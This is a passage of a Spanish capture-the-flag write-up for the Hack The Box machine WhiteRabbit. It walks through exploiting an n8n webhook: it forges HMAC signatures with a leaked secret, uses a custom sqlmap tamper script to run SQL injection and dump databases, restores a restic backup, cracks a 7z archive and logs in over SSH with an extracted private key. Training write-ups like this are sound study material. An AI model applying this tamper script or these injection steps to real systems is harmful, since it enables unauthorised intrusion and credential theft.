                "type": "array",
                "operation": "empty",
                "singleValue": true
              }
            },
            {
              "id": "9605ee34-f897-48cf-93d9-756503337686",
              "leftValue": "",
              "rightValue": "",
              "operator": {
                "type": "string",
                "operation": "equals",
                "name": "filter.operator.equals"
              }
            }
          ],
          "combinator": "and"
        },
        "options": {}
      },
      "id": "72f5d0bd-9025-4e7b-8d1f-8746035a2138",
      "name": "check if user exists in database",
      "type": "n8n-nodes-base.if",
      "typeVersion": 2,
      "position": [
        1620,
        240
      ],
      "alwaysOutputData": true,
      "executeOnce": true
    },
    {
      "parameters": {
        "operation": "executeQuery",
        "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1",
        "options": {}
      },
      "id": "5929bf85-d38b-4fdd-ae76-f0a61e2cef55",
      "name": "Get current phishing score",
      "type": "n8n-nodes-base.mySql",
      "typeVersion": 2.4,
      "position": [
        1380,
        260
      ],
      "alwaysOutputData": true,
      "retryOnFail": false,
      "executeOnce": false,
      "notesInFlow": false,
      "credentials": {
        "mySql": {
          "id": "qEqs6Hx9HRmSTg5v",
          "name": "mariadb - phishing"
        }
      },
      "onError": "continueErrorOutput"
    },
    {
      "parameters": {
        "respondWith": "text",
        "responseBody": "Info: User is not in database",
        "options": {}
      },
      "id": "e9806005-9ca3-4899-9b62-8d9d56ec413f",
      "name": "user not in database",
      "type": "n8n-nodes-base.respondToWebhook",
      "typeVersion": 1.1,
      "position": [
        1960,
        140
      ]
    },
    {
      "parameters": {
        "httpMethod": "POST",
        "path": "d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d",
        "responseMode": "responseNode",
        "options": {}
      },
      "id": "e425306c-06ba-441b-9860-170433602b1a",
      "name": "Webhook",
      "type": "n8n-nodes-base.webhook",
      "typeVersion": 2,
      "position": [
        220,
        440
      ],
      "webhookId": "d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d"
    },
    {
      "parameters": {
        "errorMessage": "User not found. This should not happen"
      },
      "id": "ec2fc3c3-014f-49b7-af14-263b2d41250d",
      "name": "Stop and Error",
      "type": "n8n-nodes-base.stopAndError",
      "typeVersion": 1,
      "position": [
        2180,
        140
      ]
    },
    {
      "parameters": {
        "errorMessage": "User not found. This should not happen"
      },
      "id": "f6d17a91-3305-488e-bb2a-79d10ec00c57",
      "name": "Stop",
      "type": "n8n-nodes-base.stopAndError",
      "typeVersion": 1,
      "position": [
        1840,
        20
      ]
    }
  ],
  "pinData": {},
  "connections": {
    "If Clicked": {
      "main": [
        [
          {
            "node": "Update Phishing Score for Clicked Event",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "If Submitted Data": {
      "main": [
        [
          {
            "node": "Update Phishing Score for Submitted Data",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Update Phishing Score for Clicked Event": {
      "main": [
        [
          {
            "node": "Success",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Update Phishing Score for Submitted Data": {
      "main": [
        [
          {
            "node": "Success",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Compare signature": {
      "main": [
        [
          {
            "node": "Get current phishing score",
            "type": "main",
            "index": 0
          }
        ],
        [
          {
            "node": "invalid signature",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Check gophish header": {
      "main": [
        [
          {
            "node": "Extract signature",
            "type": "main",
            "index": 0
          }
        ],
        [
          {
            "node": "no signature",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Extract signature": {
      "main": [
        [
          {
            "node": "Calculate the signature",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Calculate the signature": {
      "main": [
        [
          {
            "node": "Compare signature",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "check if user exists in database": {
      "main": [
        [
          {
            "node": "user not in database",
            "type": "main",
            "index": 0
          }
        ],
        [
          {
            "node": "If Clicked",
            "type": "main",
            "index": 0
          },
          {
            "node": "If Submitted Data",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Get current phishing score": {
      "main": [
        [
          {
            "node": "check if user exists in database",
            "type": "main",
            "index": 0
          }
        ],
        [
          {
            "node": "DEBUG: REMOVE SOON",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Webhook": {
      "main": [
        [
          {
            "node": "Check gophish header",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "user not in database": {
      "main": [
        [
          {
            "node": "Stop and Error",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "DEBUG: REMOVE SOON": {
      "main": [
        [
          {
            "node": "Stop",
            "type": "main",
            "index": 0
          }
        ]
      ]
    }
  },
  "active": true,
  "settings": {
    "executionOrder": "v1"
  },
  "versionId": "803dfe3a-9d37-4e37-8a74-9281cf6aad25",
  "meta": {
    "templateCredsSetupCompleted": true,
    "instanceId": "21894d8ad64e6c729da4131f6f85c4f5b635dd24a4cd990abd2d7df2c0b9c3e5"
  },
  "id": "WDCH0NwAZIztoV3u",
  "tags": [
    {
      "createdAt": "2024-08-28T11:11:04.551Z",
      "updatedAt": "2024-08-28T11:11:04.551Z",
      "id": "EXjKCJjO0OPsnJqx",
      "name": "database"
    },
    {
      "createdAt": "2024-08-28T11:11:02.744Z",
      "updatedAt": "2024-08-28T11:11:02.744Z",
      "id": "JuPt3zEtHwmK6jur",
      "name": "gophish"
    }
  ]
}

En este archivo encontramos el query que se ejecuta para verificar el score del email en la base de datos. Se especifica mariadb por lo que la base de datos podria ser MySQL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
"parameters": {
    "operation": "executeQuery",
    "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1",
    "options": {}
},[... snip ...]
"credentials": {
"mySql": {
    "id": "qEqs6Hx9HRmSTg5v",
    "name": "mariadb - phishing"
}}

Tambien el secret con el cual se calcula el signature o firma del cuerpo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
      "parameters": {
        "action": "hmac",
        "type": "SHA256",
        "value": "={{ JSON.stringify($json.body) }}",
        "dataPropertyName": "calculated_signature",
        "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
      },
      "id": "e406828a-0d97-44b8-8798-6d066c4a4159",
      "name": "Calculate the signature",
      "type": "n8n-nodes-base.crypto",
      "typeVersion": 1,
      "position": [
        860,
        340
      ]
    },

El subdominio muestra el login de n8n.

image

Se realizo una solicitud POST al webhook, este muestra un error donde indica que no se encontro la ‘signature’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ curl -X POST http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d -v
* Host 28efa8f7df.whiterabbit.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.63
*   Trying 10.10.11.63:80...
* Connected to 28efa8f7df.whiterabbit.htb (10.10.11.63) port 80
* using HTTP/1.x
> POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
> Host: 28efa8f7df.whiterabbit.htb
> User-Agent: curl/8.12.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Length: 43
< Content-Type: text/html; charset=utf-8
< Date: Fri, 11 Apr 2025 07:14:27 GMT
< Etag: W/"2b-a/1cgbNcBHeiXNHnj7CrIc6UqlE"
< Server: Caddy
< Vary: Accept-Encoding
< 
* Connection #0 to host 28efa8f7df.whiterabbit.htb left intact
Error: No signature found in request header

Como sabemos el workflow muestra que se verifica el email a traves de un query SQL el cual es posible ‘modificar’ ya que lo toma directamente del cuerpo de la solicitud por lo que podria ser vulnerable a SQL Injection. Para modificar el email es necesario crear el signature del cuerpo de la solicitud.

Body Signature

Para recrear el signature tomamos el cuerpo de la solicitud y el hash.

1
2
3
4
5
6
7
8
9
# signature
cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd

# body
{
  "campaign_id": 1,
  "email": "test@ex.com",
  "message": "Clicked Link"
}

Escribimos un script en Python para recrear la signature exacta para el cuerpo de ejemplo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#!/usr/bin/env python
import hmac, hashlib, json

def create_signature(body):
    secret = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS".encode('utf-8')
    payload = json.dumps(body, separators=(',', ':')).encode('utf-8')
    return hmac.new(secret, payload, hashlib.sha256).hexdigest()

if __name__ == '__main__':
    payload = {"campaign_id": 1,"email":"test@ex.com","message":"Clicked Link"}
    signature = create_signature(payload)

    print(f"Recreated signature: {signature}")
    # Correct signature for the payload
    print("Original signature:  cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd")   

Tras ejecutar el script logramos recrear el mismo signature del body, por lo que ahora es posible modificar el email para explotar la posible vulnerabilidad SQL Injection.

1
2
3
4
❯ python gophish.py
Recreated signature: cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Original signature:  cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd

Tamper - SQLMap

Creamos un tamper para sqlmap donde toma el payload, lo agrega al body y genera una signature en base a este, tambien, reemplaza las comillas dobles (") por simples (') ya que esto generaria un error en la estructura JSON, finalmente se agrega la signature al header x-gophish-signature. Se agrego el tamper al directorio /usr/share/sqlmap/tamper/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
import hmac
import hashlib
import json

__priority__ = 1
__tamper__ = "gophish_webhook"

def create_signature(payload):
    body = {"campaign_id":1,"email":payload,"message":"Clicked Link"}
    secret = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS".encode('utf-8')
    payload = json.dumps(body, separators=(',', ':')).encode('utf-8')
    return hmac.new(secret, payload, hashlib.sha256).hexdigest()

def tamper(payload, **kwargs):
    """
    x-gophish-signature header based on payload body
    """
    try:
        headers = kwargs.get("headers", {})
        payload.replace('"','\\"')
        signature = create_signature(payload)        
        headers["x-gophish-signature"] = "sha256="+signature

    except Exception as e:
        print(f"[-] Error creating signature: {e}")

    return payload

SQL Injection

Ejecutamos sqlmap especificando los parametros donde se especifico el tamper recien creado, tambien la base de datos MySQL. Tras la ejecucion sqlmap muestra que la base de datos es MySQL >= 5.0 (MariaDB fork).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
❯ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"admin@whiterabbit.htb","message":"Clicked Link"}' -p email --method POST --tamper=tamper_gophish --batch --dbms mysql --proxy http://127.0.0.1:8080
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.9.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:59:13 /2025-04-11/

[11:59:13] [INFO] loading tamper module 'tamper_gophish'
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[11:59:13] [INFO] testing connection to the target URL
[11:59:13] [INFO] testing if the target URL content is stable
[11:59:14] [INFO] target URL content is stable
[11:59:14] [INFO] heuristic (basic) test shows that (custom) POST parameter 'JSON email' might be injectable (possible DBMS: 'MySQL')
[11:59:15] [INFO] testing for SQL injection on (custom) POST parameter 'JSON email'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[11:59:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:59:28] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:59:29] [INFO] testing 'Generic inline queries'
[11:59:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[11:59:39] [WARNING] reflective value(s) found and filtering out
[11:59:50] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:00:11] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[12:00:32] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[12:00:37] [INFO] (custom) POST parameter 'JSON email' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[12:00:37] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[12:00:38] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[12:00:38] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[12:00:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[12:00:39] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[12:00:40] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[12:00:40] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[12:00:41] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[12:00:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[12:00:43] [INFO] (custom) POST parameter 'JSON email' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[12:00:43] [INFO] testing 'MySQL inline queries'
[12:00:43] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[12:00:44] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[12:00:54] [INFO] (custom) POST parameter 'JSON email' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable 
[12:00:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[12:01:05] [INFO] (custom) POST parameter 'JSON email' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[12:01:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:01:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:01:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[12:01:06] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:01:09] [INFO] target URL appears to have 2 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[12:01:26] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[12:01:34] [INFO] testing 'MySQL UNION query (83) - 21 to 40 columns'
[12:01:44] [INFO] testing 'MySQL UNION query (83) - 41 to 60 columns'
[12:01:54] [INFO] testing 'MySQL UNION query (83) - 61 to 80 columns'
[12:02:03] [INFO] testing 'MySQL UNION query (83) - 81 to 100 columns'
(custom) POST parameter 'JSON email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 313 HTTP(s) requests:
---
Parameter: JSON email ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: {"campaign_id":1,"email":"admin@whiterabbit.htb" RLIKE (SELECT (CASE WHEN (9798=9798) THEN 0x61646d696e4077686974657261626269742e687462 ELSE 0x28 END))-- otuT","message":"Clicked Link"}

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"campaign_id":1,"email":"admin@whiterabbit.htb" AND (SELECT 9031 FROM(SELECT COUNT(*),CONCAT(0x716a7a7871,(SELECT (ELT(9031=9031,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dDUc","message":"Clicked Link"}

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: {"campaign_id":1,"email":"admin@whiterabbit.htb";SELECT SLEEP(5)#","message":"Clicked Link"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"campaign_id":1,"email":"admin@whiterabbit.htb" AND (SELECT 3994 FROM (SELECT(SLEEP(5)))ARZA)-- lwyh","message":"Clicked Link"}
---
[12:02:13] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:02:13] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:02:16] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/28efa8f7df.whiterabbit.htb'

[*] ending @ 12:02:16 /2025-04-11/

Especificamos --dbs para obtener la lista de bases de datos, se observan tres.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"admin@whiterabbit.htb","message":"Clicked Link"}' -p email --method POST --tamper=tamper_gophish --batch --dbms mysql --dbs

[... snip ...]

[12:02:44] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:02:44] [INFO] testing MySQL
[12:02:44] [WARNING] reflective value(s) found and filtering out
[12:02:44] [INFO] confirming MySQL
[12:02:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[12:02:45] [INFO] fetching database names
[12:02:46] [INFO] retrieved: 'information_schema'
[12:02:46] [INFO] retrieved: 'phishing'
[12:02:46] [INFO] retrieved: 'temp'
available databases [3]:
[*] information_schema
[*] phishing
[*] temp

[12:02:46] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/28efa8f7df.whiterabbit.htb'

[*] ending @ 12:02:46 /2025-04-11/

En la base de datos phishing unicamente existe la tabla victims donde encontramos una lsita de correos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Database: phishing
[1 table]
+---------+
| victims |
+---------+

Database: phishing
Table: victims
[2 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| email          | varchar(255) |
| phishing_score | int(11)      |
+----------------+--------------+

Database: phishing
Table: victims
[30 entries]
+--------------------+----------------+
| email              | phishing_score |
+--------------------+----------------+
| test1@example.com  | 20             |
| test10@example.com | 100            |
| test11@example.com | 110            |
| test12@example.com | 120            |
| test13@example.com | 130            |
| test14@example.com | 140            |
| test15@example.com | 150            |
| test16@example.com | 160            |
| test17@example.com | 170            |
| test18@example.com | 180            |
| test19@example.com | 190            |
| test2@example.com  | 20             |
| test20@example.com | 200            |
| test21@example.com | 210            |
| test22@example.com | 220            |
| test23@example.com | 230            |
| test24@example.com | 240            |
| test25@example.com | 250            |
| test26@example.com | 260            |
| test27@example.com | 270            |
| test28@example.com | 280            |
| test29@example.com | 290            |
| test3@example.com  | 30             |
| test30@example.com | 300            |
| test4@example.com  | 40             |
| test5@example.com  | 50             |
| test6@example.com  | 8270           |
| test7@example.com  | 70             |
| test8@example.com  | 80             |
| test9@example.com  | 90             |
+--------------------+----------------+

En la base de datos temp encontramos una lista de comandos los cuales indican un repositorio backup de restic, se observa una contrasena que parece pertenecer a restic. Tambien vemos algun tipo de generador de contrasenas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

Database: temp
[1 table]
+-------------+
| command_log |
+-------------+

Database: temp
Table: command_log
[3 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| date    | timestamp    |
| command | varchar(255) |
| id      | int(11)      |
+---------+--------------+

Database: temp
Table: command_log
[6 entries]
+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+

Restic - Backup

Siguiendo la documentacion de restic especificamos la contrasena y repositorio, tras ello listamos las snapshots, observamos que existe una.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
export RESTIC_PASSWORD=$(cat .restic_passwd)
export RESTIC_REPOSITORY="rest:http://75951e6ff.whiterabbit.htb"
❯ restic snapshots
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /home/kali/.cache/restic
ID        Time                 Host         Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-06 19:18:40  whiterabbit              /dev/shm/bob/ssh
------------------------------------------------------------------------
1 snapshots

Restauramos el snapshot especificando el ID y el directorio.

1
2
3
4
5
6
❯ restic restore 272cacd5 --target /dev/shm/
repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00%  5 / 5 index files loaded
restoring snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit to /dev/shm/
Summary: Restored 5 files/dirs (572 B) in 0:00

Protected File

Dentro del directorio encontramos que existe un archivo 7z, intentamos extraer los archivos pero este esta protegido por contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ ll dev/shm/bob/ssh
.rw-r--r-- kali kali 572 B Thu Mar  6 19:12:22 2025  bob.7z
❯ 7z x bob.7z

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 572 bytes (1 KiB)

Extracting archive: bob.7z
--
Path = bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1

    
Enter password (will not be echoed):

Ejecutamos 7z2john para obtener el hash.

1
2
3
4
5
❯ 7z2john bob.7z > hash_bob7z
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
❯ cat hash_bob7z
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00

Cracking the Hash

Tras ejecutar john al hash del archivo este encontro la contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
❯ john hash_bob7z --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 512/512 AVX512BW 16x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 3 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 365 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1q2w3e4r5t6y     (bob.7z)     
1g 0:00:03:23 DONE (2025-04-11 12:24) 0.004924g/s 117.5p/s 117.5c/s 117.5C/s 231086..100284
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

SSH Files

Tras extraer los archivos encontramos tres.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ 7z x bob.7z

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 572 bytes (1 KiB)

Extracting archive: bob.7z
--
Path = bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1

    
Enter password (will not be echoed):
Everything is Ok

Files: 3
Size:       557
Compressed: 572
❯ ll
.rw------- kali kali 399 B Thu Mar  6 19:10:35 2025  bob
.rw-r--r-- kali kali 572 B Thu Mar  6 19:12:22 2025  bob.7z
.rw-r--r-- kali kali  91 B Thu Mar  6 19:10:35 2025 󰌆 bob.pub
.rw-r--r-- kali kali  67 B Thu Mar  6 19:11:05 2025  config
.rw-rw-r-- kali kali 817 B Fri Apr 11 12:21:12 2025  hash_bob7z

Todos pertenecen a SSH: clave privada de bob, publica y el archivo de configuracion donde se especifica el puerto 2222 y el usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ ll
.rw------- kali kali 399 B Thu Mar  6 19:10:35 2025  bob
.rw-r--r-- kali kali 572 B Thu Mar  6 19:12:22 2025  bob.7z
.rw-r--r-- kali kali  91 B Thu Mar  6 19:10:35 2025 󰌆 bob.pub
.rw-r--r-- kali kali  67 B Thu Mar  6 19:11:05 2025  config
.rw-rw-r-- kali kali 817 B Fri Apr 11 12:21:12 2025  hash_bob7z
❯ cat bob
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC
VwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4w
AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE
FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=
-----END OPENSSH PRIVATE KEY-----
❯ cat bob.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8NNTJHAXhD4DaKbE4OdjyEFMQae80HRLa9ouGYdkLj root@lucy
❯ cat config
Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob

User - Bob (container)

Utilizamos la clave privada con SSH por el puerto 2222 para bob, logrando acceder por este servicio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
❯ ssh bob@whiterabbit.htb -p 2222 -i bob
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-57-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Apr 11 00:59:39 2025 from 10.10.14.29
bob@ebdce80611e9:~$ whoami;id;pwd
bob
uid=1001(bob) gid=1001(bob) groups=1001(bob)
/home/bob
bob@ebdce80611e9:~$

El archivo .dockerenv indica que es un contenedor de docker.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bob@ebdce80611e9:~$ ls -lah /
total 88K
drwxr-xr-x   1 root root 4.0K Mar 24 11:43 .
drwxr-xr-x   1 root root 4.0K Mar 24 11:43 ..
-rwxr-xr-x   1 root root    0 Mar 24 11:43 .dockerenv
lrwxrwxrwx   1 root root    7 Apr 22  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4.0K Mar 31  2024 bin.usr-is-merged
drwxr-xr-x   2 root root 4.0K Apr 22  2024 boot
drwxr-xr-x   5 root root  340 Apr 24 10:01 dev
drwxr-xr-x   1 root root 4.0K Mar 24 11:43 etc
drwxr-xr-x   1 root root 4.0K Mar 24 11:24 home
